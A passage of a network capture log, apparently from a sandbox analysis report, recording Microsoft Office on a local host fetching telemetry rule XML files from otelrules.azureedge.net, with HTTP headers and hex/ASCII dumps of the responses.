2024-12-08 14:38:52 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:52 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143852Z-r1cf579d778zvkpnhC1EWRv23g000000060g0000000007b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:52 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:52 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:52 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143852Z-r1cf579d778w59f9hC1EWRze6w00000005w0000000004w6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:52 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:54 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143854Z-r1cf579d778kr8xrhC1EWRfkun0000000600000000006vbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:54 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:54 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143854Z-r1cf579d778xq4f9hC1EWRx41g00000005hg0000000015wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:54 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:54 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143854Z-r1cf579d778xq4f9hC1EWRx41g00000005c0000000007qqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:54 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:54 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143854Z-r1cf579d778mvsklhC1EWRkavg00000005v0000000005x37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:54 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:54 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:54 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143854Z-r1cf579d778w59f9hC1EWRze6w00000005zg0000000008ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:54 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:56 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143856Z-r1cf579d778z4wflhC1EWRa3h000000005ng0000000058x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:56 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143856Z-r1cf579d778dc6d7hC1EWR2vs8000000068g000000005aq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:56 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143856Z-r1cf579d778x776bhC1EWRdk8000000005rg000000000msm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:56 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143856Z-r1cf579d778qgtz2hC1EWRmgks00000005cg000000006nb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:56 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
